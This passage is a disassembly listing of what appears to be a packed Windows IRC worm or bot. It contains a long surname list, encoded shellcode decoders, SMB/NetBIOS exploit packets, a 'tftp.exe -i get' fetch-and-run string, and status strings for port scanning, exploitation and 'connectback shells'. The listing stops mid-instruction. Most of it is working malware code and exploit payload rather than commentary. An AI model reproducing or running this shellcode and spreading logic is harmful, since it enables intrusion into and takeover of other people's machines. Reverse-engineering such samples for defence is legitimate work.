XREF: .packed:0042DF18o align 4 aBreed db 'Breed',0 ; DATA XREF: .packed:0042DF14o align 4 aBrecht db 'Brecht',0 ; DATA XREF: .packed:0042DF10o align 4 aBradach db 'Bradach',0 ; DATA XREF: .packed:0042DF0Co aBradac db 'Bradac',0 ; DATA XREF: .packed:0042DF08o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .packed:0042DF04o align 10h aBoyne db 'Boyne',0 ; DATA XREF: .packed:0042DF00o align 4 aBoym db 'Boym',0 ; DATA XREF: .packed:0042DEFCo align 10h aBoyland db 'Boyland',0 ; DATA XREF: .packed:0042DEF8o aBoyes db 'Boyes',0 ; DATA XREF: .packed:0042DEF4o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: .packed:0042DEF0o align 4 aBoxer db 'Boxer',0 ; DATA XREF: .packed:0042DEECo align 4 aBowers db 'Bowers',0 ; DATA XREF: .packed:0042DEE8o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: .packed:0042DEE4o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .packed:0042DEE0o aBoudin db 'Boudin',0 ; DATA XREF: .packed:0042DEDCo align 4 aBotosh db 'Botosh',0 ; DATA XREF: .packed:0042DED8o align 10h aBothman db 'Bothman',0 ; DATA XREF: .packed:0042DED4o aBossi db 'Bossi',0 ; DATA XREF: .packed:0042DED0o align 10h aBorden db 'Borden',0 ; DATA XREF: .packed:0042DECCo align 4 aBorack db 'Borack',0 ; DATA XREF: .packed:0042DEC8o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: .packed:0042DEC4o align 4 aBoone db 'Boone',0 ; DATA XREF: .packed:0042DEC0o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .packed:0042DEBCo align 10h aBook db 'Book',0 ; DATA XREF: .packed:0042DEB8o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: .packed:0042DEB4o align 4 aBoniface db 'Boniface',0 ; DATA XREF: .packed:0042DEB0o align 10h aBonham db 'Bonham',0 ; DATA XREF: .packed:0042DEACo align 4 aBoner db 'Boner',0 ; DATA XREF: .packed:0042DEA8o align 10h aBologna db 'Bologna',0 ; DATA XREF: .packed:0042DEA4o aBollinger db 'Bollinger',0 ; DATA XREF: .packed:0042DEA0o align 4 aBolick db 'Bolick',0 ; DATA XREF: .packed:0042DE9Co align 4 aBolger db 'Bolger',0 ; DATA XREF: .packed:0042DE98o align 4 aBlyth db 'Blyth',0 ; DATA XREF: .packed:0042DE94o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .packed:0042DE90o aBloemhof db 'Bloemhof',0 ; DATA XREF: .packed:0042DE8Co align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: .packed:0042DE88o aBloch db 'Bloch',0 ; DATA XREF: .packed:0042DE84o align 4 aBlizard db 'Blizard',0 ; DATA XREF: .packed:0042DE80o aBliss db 'Bliss',0 ; DATA XREF: .packed:0042DE7Co align 4 aBlanke db 'Blanke',0 ; DATA XREF: .packed:0042DE78o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .packed:0042DE74o align 4 aBlagg db 'Blagg',0 ; DATA XREF: .packed:0042DE70o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: .packed:0042DE6Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .packed:0042DE68o align 4 aBisho db 'Bisho',0 ; DATA XREF: .packed:0042DE64o align 10h aBisema db 'Bisema',0 ; DATA XREF: .packed:0042DE60o align 4 aBir db 'Bir',0 ; DATA XREF: .packed:0042DE5Co aBinion db 'Binion',0 ; DATA XREF: .packed:0042DE58o align 4 aBickel db 'Bickel',0 ; DATA XREF: .packed:0042DE54o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: .packed:0042DE50o align 4 aBeynart db 'Beynart',0 ; DATA XREF: .packed:0042DE4Co aBetti db 'Betti',0 ; DATA XREF: .packed:0042DE48o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .packed:0042DE44o align 4 aBernston db 'Bernston',0 ; DATA XREF: .packed:0042DE40o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .packed:0042DE3Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: .packed:0042DE38o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .packed:0042DE34o align 4 aBergson db 'Bergson',0 ; DATA XREF: .packed:0042DE30o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .packed:0042DE2Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: .packed:0042DE28o align 4 aBellini db 'Bellini',0 ; DATA XREF: .packed:0042DE24o aBellhouse db 'Bellhouse',0 ; DATA XREF: .packed:0042DE20o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: .packed:0042DE1Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .packed:0042DE18o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .packed:0042DE14o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .packed:0042DE10o align 10h aBelanger db 'Belanger',0 ; DATA XREF: .packed:0042DE0Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: .packed:0042DE08o aBedford db 'Bedford',0 ; DATA XREF: .packed:0042DE04o aBeder db 'Beder',0 ; DATA XREF: .packed:0042DE00o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .packed:0042DDFCo aBean db 'Bean',0 ; DATA XREF: .packed:0042DDF8o align 4 aBeal db 'Beal',0 ; DATA XREF: .packed:0042DDF4o align 4 aBeacon db 'Beacon',0 ; DATA XREF: .packed:0042DDF0o align 4 aBayo db 'Bayo',0 ; DATA XREF: .packed:0042DDECo align 4 aBayles db 'Bayles',0 ; DATA XREF: .packed:0042DDE8o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .packed:0042DDE4o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: .packed:0042DDE0o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .packed:0042DDDCo align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: .packed:0042DDD8o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .packed:0042DDD4o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: .packed:0042DDD0o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: .packed:0042DDCCo aBarry db 'Barry',0 ; DATA XREF: .packed:0042DDC8o align 4 aBarriola db 'Barriola',0 ; DATA XREF: .packed:0042DDC4o align 4 aBarnett db 'Barnett',0 ; DATA XREF: .packed:0042DDC0o aBarneson db 'Barneson',0 ; DATA XREF: .packed:0042DDBCo align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: .packed:0042DDB8o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .packed:0042DDB4o aBaranowska db 'Baranowska',0 ; DATA XREF: .packed:0042DDB0o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: .packed:0042DDACo align 4 aBarajas db 'Barajas',0 ; DATA XREF: .packed:0042DDA8o aBarabesi db 'Barabesi',0 ; DATA XREF: .packed:0042DDA4o align 4 aBanta db 'Banta',0 ; DATA XREF: .packed:0042DDA0o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .packed:0042DD9Co align 4 aBallew db 'Ballew',0 ; DATA XREF: .packed:0042DD98o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .packed:0042DD94o align 10h aBaleja db 'Baleja',0 ; DATA XREF: .packed:0042DD90o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .packed:0042DD8Co align 4 aBailar db 'Bailar',0 ; DATA XREF: .packed:0042DD88o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: .packed:0042DD84o aBaglivo db 'Baglivo',0 ; DATA XREF: .packed:0042DD80o aBady db 'Bady',0 ; DATA XREF: .packed:0042DD7Co align 4 aBackus db 'Backus',0 ; DATA XREF: .packed:0042DD78o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .packed:0042DD74o align 4 aAzima db 'Azima',0 ; DATA XREF: .packed:0042DD70o align 10h aAyling db 'Ayling',0 ; DATA XREF: .packed:0042DD6Co align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: .packed:0042DD68o aAyiemba db 'Ayiemba',0 ; DATA XREF: .packed:0042DD64o aAxworthy db 'Axworthy',0 ; DATA XREF: .packed:0042DD60o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .packed:0042DD5Co aAurelius db 'Aurelius',0 ; DATA XREF: .packed:0042DD58o align 4 aAugustus db 'Augustus',0 ; DATA XREF: .packed:0042DD54o align 4 aAtkins db 'Atkins',0 ; DATA XREF: .packed:0042DD50o align 4 aArky db 'Arky',0 ; DATA XREF: .packed:0042DD4Co align 4 aArjas db 'Arjas',0 ; DATA XREF: .packed:0042DD48o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .packed:0042DD44o align 4 aArellano db 'Arellano',0 ; DATA XREF: .packed:0042DD40o align 4 aArduini db 'Arduini',0 ; DATA XREF: .packed:0042DD3Co aArbia db 'Arbia',0 ; DATA XREF: .packed:0042DD38o align 4 aAntos db 'Antos',0 ; DATA XREF: .packed:0042DD34o align 4 aAnthony db 'Anthony',0 ; DATA XREF: .packed:0042DD30o aAnsley db 'Ansley',0 ; DATA XREF: .packed:0042DD2Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .packed:0042DD28o align 4 aAndron db 'Andron',0 ; DATA XREF: .packed:0042DD24o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: .packed:0042DD20o align 4 aAndo db 'Ando',0 ; DATA XREF: .packed:0042DD1Co align 4 aAndel db 'Andel',0 ; DATA XREF: .packed:0042DD18o align 4 aAnand db 'Anand',0 ; DATA XREF: .packed:0042DD14o align 4 aAmsden db 'Amsden',0 ; DATA XREF: .packed:0042DD10o align 4 aAmeer db 'Ameer',0 ; DATA XREF: .packed:0042DD0Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .packed:0042DD08o align 10h aAmaral db 'Amaral',0 ; DATA XREF: .packed:0042DD04o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: .packed:0042DD00o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .packed:0042DCFCo aAltavilla db 'Altavilla',0 ; DATA XREF: .packed:0042DCF8o align 4 aAlongi db 'Alongi',0 ; DATA XREF: .packed:0042DCF4o align 4 aAllison db 'Allison',0 ; DATA XREF: .packed:0042DCF0o aAleks db 'Aleks',0 ; DATA XREF: .packed:0042DCECo align 4 aAlda db 'Alda',0 ; DATA XREF: .packed:0042DCE8o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .packed:0042DCE4o align 4 aAlavi db 'Alavi',0 ; DATA XREF: .packed:0042DCE0o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .packed:0042DCDCo align 4 aAdorno db 'Adorno',0 ; DATA XREF: .packed:0042DCD8o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .packed:0042DCD4o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: .packed:0042DCD0o align 10h aAddison db 'Addison',0 ; DATA XREF: .packed:off_42DCCCo aAdams db 'Adams',0 ; DATA XREF: .packed:0042DCC8o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: .packed:0042DCC4o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .packed:off_42DCC0o align 4 byte_431918 db 50h ; DATA XREF: .packed:0040ADEFo ; .packed:0040ADFCr db 43h, 2 dup(0) dword_43191C dd 7C7325h ; DATA XREF: .packed:0040AE9Ao dword_431920 dd 5D73255Bh, 7Ch ; DATA XREF: .packed:0040AFA4o dword_431928 dd 3F3F3Fh ; DATA XREF: .packed:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_43192C dd 334B32h ; DATA XREF: .packed:0040AF94o dword_431930 dd 5058h ; DATA XREF: .packed:0040AF86o ; sub_41AA42+AAo dword_431934 dd 4B32h ; DATA XREF: .packed:0040AF76o ; sub_41AA42+98o dword_431938 dd 454Dh ; DATA XREF: .packed:0040AF5Do ; sub_41AA42+7Eo dword_43193C dd 3839h ; DATA XREF: .packed:0040AF4Do ; sub_41AA42+6Co dword_431940 dd 544Eh ; DATA XREF: .packed:0040AF3Do ; sub_41AA42+5Ao dword_431944 dd 3539h ; DATA XREF: .packed:0040AF2Fo ; sub_41AA42+46o dword_431948 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431950 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431960 ; --------------------------------------------------------------------------- loc_43195E: ; CODE XREF: .packed:loc_431960p jmp short loc_431965 ; --------------------------------------------------------------------------- loc_431960: ; CODE XREF: .packed:0043195Cj call loc_43195E loc_431965: ; CODE XREF: .packed:loc_43195Ej pop ebx xor ecx, ecx mov cx, 0FFFFh loc_43196C: ; CODE XREF: .packed:00431971j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_43196C add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_431982: ; CODE XREF: .packed:00431987j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_431982 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431A24 jnz short loc_431A10 retn ; --------------------------------------------------------------------------- loc_431A10: ; CODE XREF: .packed:00431A0Dj ; .packed:00431A1Dj call near ptr loc_431A15+1 loc_431A15: ; CODE XREF: .packed:loc_431A10p add [edx+0], ch call sub_431A24 jz loc_431A10 retn ; =============== S U B R O U T I N E ======================================= sub_431A24 proc near ; CODE XREF: .packed:00431A08p ; .packed:00431A18p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431A24 endp ; --------------------------------------------------------------------------- align 10h dword_431A50 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B1B3+10o aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431AD0 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_431AD4 dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431AD8 dd 0 ; DATA XREF: sub_40B64A+2Eo ; .packed:0040D495w ... dword_431ADC dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431AE0 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_431AE4 dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) dd 6D7973h, 0 db 2 dup(0) byte_431CB2 db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o aAsn445_0 db 'asn445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431CDE ; =============== S U B R O U T I N E ======================================= sub_431CCE proc near ; CODE XREF: sub_431CCE:loc_431CDEp pop edx dec edx xor ecx, ecx mov cx, 166h loc_431CD6: ; CODE XREF: sub_431CCE+Cj xor byte ptr [edx+ecx], 99h loop loc_431CD6 jmp short loc_431CE3 ; --------------------------------------------------------------------------- loc_431CDE: ; CODE XREF: .packed:00431CCCj call sub_431CCE loc_431CE3: ; CODE XREF: sub_431CCE+Ej jo short near ptr dword_431C6C+12h cwde cdq cdq retn sub_431CCE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 10h dword_431E60 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_431E6C db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431E8C db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431ED4 db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431F10 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431F20 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431F3C db 2Dh ; - ; DATA XREF: sub_40B8A1+172o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431F70 db 2Dh ; - ; DATA XREF: sub_40B8A1+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431FA0 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431FC0 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431FDC db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h unk_432010 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_432048 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_432078 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4320AC db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_4320E0 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_432114 db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_43213C db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_432174 db 2Dh ; - ; DATA XREF: sub_40C33C+1CEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_4321B4 db 2Dh ; - ; DATA XREF: sub_40C33C+173o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_4321EC db 2Dh ; - ; DATA XREF: sub_40C33C+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_432220 db 2Dh ; - ; DATA XREF: sub_40C33C+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 unk_432254 db 2Dh ; - ; DATA XREF: sub_40C59B+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_43227C db 2Dh ; - ; DATA XREF: sub_40C668+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 unk_4322A4 db 2Dh ; - ; DATA XREF: sub_40C759+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h unk_4322D0 db 2Dh ; - ; DATA XREF: sub_40C759+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 4 dword_432308 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_432310 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_432314 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_43231C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4323A4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4323D4 dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_4323E0 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_43242C db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_432470 proc near ; DATA XREF: .packed:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43256C push dword ptr [esi] push 63D61209h call sub_432582 mov [esi+8], eax call sub_432535 push dword ptr [esi+4] push 0CA2BD06Bh call sub_432582 mov [esi+0Ch], eax call sub_4324E7 push dword ptr [esi+4] push 4C0297FAh call sub_432582 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432470 endp ; =============== S U B R O U T I N E ======================================= sub_4324E7 proc near ; CODE XREF: sub_432470+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432510 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4324E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432510 proc near ; CODE XREF: sub_4324E7+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43251F: ; CODE XREF: sub_432510+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43252C inc ebx jmp short loc_43251F ; --------------------------------------------------------------------------- loc_43252C: ; CODE XREF: sub_432510+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432510 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432535 proc near ; CODE XREF: sub_432470+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43254D: ; CODE XREF: sub_432535+1Ej cmp [ecx], ebx jz short loc_432555 mov ecx, [ecx] jmp short loc_43254D ; --------------------------------------------------------------------------- loc_432555: ; CODE XREF: sub_432535+1Aj mov edx, edi loc_432557: ; CODE XREF: sub_432535+2Aj cmp [edx+4], ebx jz short loc_432561 mov edx, [edx+4] jmp short loc_432557 ; --------------------------------------------------------------------------- loc_432561: ; CODE XREF: sub_432535+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr 